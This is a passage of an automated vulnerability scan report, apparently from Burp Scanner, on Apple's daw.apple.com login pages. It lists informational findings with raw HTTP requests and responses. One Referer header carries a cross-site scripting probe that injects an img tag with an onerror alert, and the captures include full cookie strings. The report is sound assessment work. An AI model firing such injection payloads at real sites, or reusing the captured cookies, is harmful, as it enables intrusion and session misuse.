User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US; ac_history=%7B%22search%22%3A%5B%5D%2C%22kb%22%3A%5B%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%7D%7D; s_ria=Flash%2010%7C; ac_search=%7C%7Cxss; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3Bch%3Dadvertising%26vn%3D1%3B; s_invisit_us=support%3Dtrue%3Badvertising%3Dtrue%3B; s_orientationHeight=780; POD=us~en; dfa_cookie=appleglobal%2Capplesupport%2Cappleusad%2Cappleusother; s_pv=acs%3A%3Aweb%3A%3Ahomepage%20(US); s_ppv=acs%253A%253Aweb%253A%253Ahomepage%2520%2528US%2529; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_pathLength=support%3D2%2Cadvertising%3D3%2C; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 Apple
Date: Fri, 15 Jul 2011 20:53:43 GMT
Server: Apache
cache-control: private
cache-control: no-cache
cache-control: no-store
cache-control: must-revalidate
cache-control: max-age=0
expires: Thu, 07-Jul-2011 19:25:54 GMT
pragma: no-cache
set-cookie: dslang=US-EN; version="1"; expires=Sat, 31-Dec-2011 20:00:00 GMT; path=/; domain=.apple.com
connection: close
content-length: 7445
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link rel="stylesheet" ty
...[SNIP]...

5. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://daw.apple.com
Path:   /cgi-bin/WebObjects/DSAuthWeb.woa/wa/login

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /cgi-bin/WebObjects/DSAuthWeb.woa/wa/login?appIdKey=4a75046cda87eab6386a9eae8caabb9824e328b9abc988119b39296495ec184c&path=/login.jspa HTTP/1.1
Host: daw.apple.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; ac_search=xss; POD=us~en; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D5%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3B; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US

Response

HTTP/1.1 200 Apple
Date: Fri, 15 Jul 2011 20:45:50 GMT
Server: Apache
cache-control: private
cache-control: no-cache
cache-control: no-store
cache-control: must-revalidate
cache-control: max-age=0
expires: Thu, 07-Jul-2011 19:27:14 GMT
pragma: no-cache
connection: close
content-length: 8063
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<link type="text/css" href="https://devimages.apple.com.edgekey.net/global/styles/forums/style02.css" rel="stylesheet">
<title>
...[SNIP]...
<a href="http://developer.apple.com">
                   <img src="https://devimages.apple.com.edgekey.net/global/elements/layout/forums/intro_developer_conection.png" />
               </a>
...[SNIP]...

6. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://daw.apple.com
Path:   /cgi-bin/WebObjects/DSAuthWeb.woa/wa/classicLogin

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /cgi-bin/WebObjects/DSAuthWeb.woa/wa/classicLogin?appIdKey=D637F3C410E683A4BB8654B61E679401508543CA2693FB2E2751628F0291F620&baseURL=https://portal.apple.com/&path=validateUser%3Faction%3Dlogin%26appId%3D1 HTTP/1.1
Host: daw.apple.com
Connection: keep-alive
Referer: https://asw.apple.com/cgi-bin/WebObjects/ASWViewer.woa
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US; ac_history=%7B%22search%22%3A%5B%5D%2C%22kb%22%3A%5B%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%7D%7D; s_ria=Flash%2010%7C; ac_search=%7C%7Cxss; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3Bch%3Dadvertising%26vn%3D1%3B; s_invisit_us=support%3Dtrue%3Badvertising%3Dtrue%3B; s_orientationHeight=780; POD=us~en; dfa_cookie=appleglobal%2Capplesupport%2Cappleusad%2Cappleusother; s_pv=acs%3A%3Aweb%3A%3Ahomepage%20(US); s_ppv=acs%253A%253Aweb%253A%253Ahomepage%2520%2528US%2529; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_pathLength=support%3D2%2Cadvertising%3D3%2C; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 Apple
Date: Fri, 15 Jul 2011 20:53:43 GMT
Server: Apache
cache-control: private
cache-control: no-cache
cache-control: no-store
cache-control: must-revalidate
cache-control: max-age=0
expires: Thu, 07-Jul-2011 19:25:54 GMT
pragma: no-cache
set-cookie: dslang=US-EN; version="1"; expires=Sat, 31-Dec-2011 20:00:00 GMT; path=/; domain=.apple.com
connection: close
content-length: 7445
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link rel="stylesheet" ty
...[SNIP]...

7. Cacheable HTTPS response  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://daw.apple.com
Path:   /cgi-bin/WebObjects/DSAuthWeb.woa/wa/a

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Request

GET /cgi-bin/WebObjects/DSAuthWeb.woa/wa/a HTTP/1.1
Host: daw.apple.com
Connection: keep-alive
Referer: https://daw.apple.com/cgi-bin/WebObjects/DSAuthWeb.woa/wa/classicLogin?appIdKey=D637F3C410E683A4BB8654B61E679401508543CA2693FB2E2751628F0291F620&baseURL=https://portal.apple.com/&path=validateUser%3Faction%3Dlogin%26appId%3D1579ce%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.location)%3E7fae64f6d4e
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US; ac_history=%7B%22search%22%3A%5B%5D%2C%22kb%22%3A%5B%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%7D%7D; s_ria=Flash%2010%7C; ac_search=%7C%7Cxss; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3Bch%3Dadvertising%26vn%3D1%3B; s_invisit_us=support%3Dtrue%3Badvertising%3Dtrue%3B; POD=us~en; dfa_cookie=appleglobal%2Capplesupport%2Cappleusad%2Cappleusother; s_pv=acs%3A%3Aweb%3A%3Ahomepage%20(US); s_orientation=%5B%5BB%5D%5D; s_cc=true; s_pathLength=support%3D2%2Cadvertising%3D3%2C; s_sq=%5B%5BB%5D%5D; s_ppv=acs%253A%253Aweb%253A%253Ahomepage%2520%2528US%2529%2C74%2C74%2C780%2C; s_orientationHeight=780; dslang=US-EN

Response

HTTP/1.1 200 Apple
Date: Fri, 15 Jul 2011 20:55:22 GMT
Server: Apache
connection: close
content-length: 564
Content-Type: text/html; charset=UTF-8

<HTML>
<HEAD>
<TITLE>Sorry</TITLE>
</HEAD>
<BODY bgcolor = "#ffffff" text = "#000000" link = "#0033CC" alink = "#FF0000" vlink = "#000033">
<BR><TABLE BORDER=0 CELLPADDING=0 CELLSPACING=0>
<TR><TD WID
...[SNIP]...

8. Content type incorrectly stated  previous  next
There are 2 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


8.1. https://daw.apple.com/support/iknow/scripts/ACQuicklinks2.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   https://daw.apple.com
Path:   /support/iknow/scripts/ACQuicklinks2.js

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /support/iknow/scripts/ACQuicklinks2.js HTTP/1.1
Host: daw.apple.com
Connection: keep-alive
Referer: https://daw.apple.com/cgi-bin/WebObjects/DSAuthWeb.woa/wa/classicLogin?appIdKey=58ef9db8ff4d201409e7270a68e4408ae1678e1618204c476572a1b5e5fb3518&path
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US; ac_history=%7B%22search%22%3A%5B%5D%2C%22kb%22%3A%5B%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%7D%7D; POD=us~en; s_ria=Flash%2010%7C; ac_search=%7C%7Cxss; dfa_cookie=appleglobal%2Capplesupport%2Cappleusad%2Cappleusother; s_pv=iad%20-%20index%20(US); s_orientation=%5B%5BB%5D%5D; s_cc=true; s_pathLength=support%3D1%2Cadvertising%3D1%2C; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3Bch%3Dadvertising%26vn%3D1%3B; s_invisit_us=support%3Dtrue%3Badvertising%3Dtrue%3B; s_sq=%5B%5BB%5D%5D; s_ppv=iad%2520-%2520index%2520%2528US%2529%2C67%2C67%2C780%2C; s_orientationHeight=780

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 20:51:01 GMT
Server: Apache
Last-Modified: Tue, 25 Jan 2011 23:56:52 GMT
ETag: "58081-1faf-49ab4786c5900"
Accept-Ranges: bytes
Content-Length: 8111
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: application/x-javascript

SearchShortcut.loadQuicklinks(
{    "en":{
       "0":{
           "TITLE":"User Guides and Product Manuals",
           "DESCRIPTION":"Find manuals for your products on one simple page.",
           "IMAGE":"https://ssl.apple.com/s
...[SNIP]...

8.2. https://daw.apple.com/support/iknow/scripts/ACShortcuts.js  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   https://daw.apple.com
Path:   /support/iknow/scripts/ACShortcuts.js

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /support/iknow/scripts/ACShortcuts.js HTTP/1.1
Host: daw.apple.com
Connection: keep-alive
Referer: https://daw.apple.com/cgi-bin/WebObjects/DSAuthWeb.woa/wa/classicLogin?appIdKey=58ef9db8ff4d201409e7270a68e4408ae1678e1618204c476572a1b5e5fb3518&path
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US; ac_history=%7B%22search%22%3A%5B%5D%2C%22kb%22%3A%5B%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%7D%7D; POD=us~en; s_ria=Flash%2010%7C; ac_search=%7C%7Cxss; dfa_cookie=appleglobal%2Capplesupport%2Cappleusad%2Cappleusother; s_pv=iad%20-%20index%20(US); s_orientation=%5B%5BB%5D%5D; s_cc=true; s_pathLength=support%3D1%2Cadvertising%3D1%2C; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3Bch%3Dadvertising%26vn%3D1%3B; s_invisit_us=support%3Dtrue%3Badvertising%3Dtrue%3B; s_sq=%5B%5BB%5D%5D; s_ppv=iad%2520-%2520index%2520%2528US%2529%2C67%2C67%2C780%2C; s_orientationHeight=780

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 20:51:02 GMT
Server: Apache
Last-Modified: Thu, 20 Jan 2011 19:57:16 GMT
ETag: "58082-d4ef-49a4c8a571f00"
Accept-Ranges: bytes
Content-Length: 54511
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: application/x-javascript

// = AC =
// Apple core helper functions:
if (typeof(AC) == 'undefined') { AC = {}; }

// == HTML5 <nav> ==
// Add the HTML5 nav element for future proof-ness.
document.createElement('nav');

// == {{
...[SNIP]...

9. SSL certificate  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://daw.apple.com
Path:   /

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:  daw.apple.com
Issued by:  VeriSign Class 3 Extended Validation SSL SGC CA
Valid from:  Wed Jan 05 18:00:00 CST 2011
Valid to:  Sat Jan 05 17:59:59 CST 2013

Certificate chain #1

Issued to:  VeriSign Class 3 Extended Validation SSL SGC CA
Issued by:  VeriSign Class 3 Public Primary Certification Authority - G5
Valid from:  Tue Nov 07 18:00:00 CST 2006
Valid to:  Mon Nov 07 17:59:59 CST 2016

Certificate chain #2

Issued to:  VeriSign Class 3 Public Primary Certification Authority - G5
Issued by:  Class 3 Public Primary Certification Authority
Valid from:  Tue Nov 07 18:00:00 CST 2006
Valid to:  Sun Nov 07 17:59:59 CST 2021

Certificate chain #3

Issued to:  Class 3 Public Primary Certification Authority
Issued by:  Class 3 Public Primary Certification Authority
Valid from:  Sun Jan 28 18:00:00 CST 1996
Valid to:  Wed Aug 02 18:59:59 CDT 2028

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

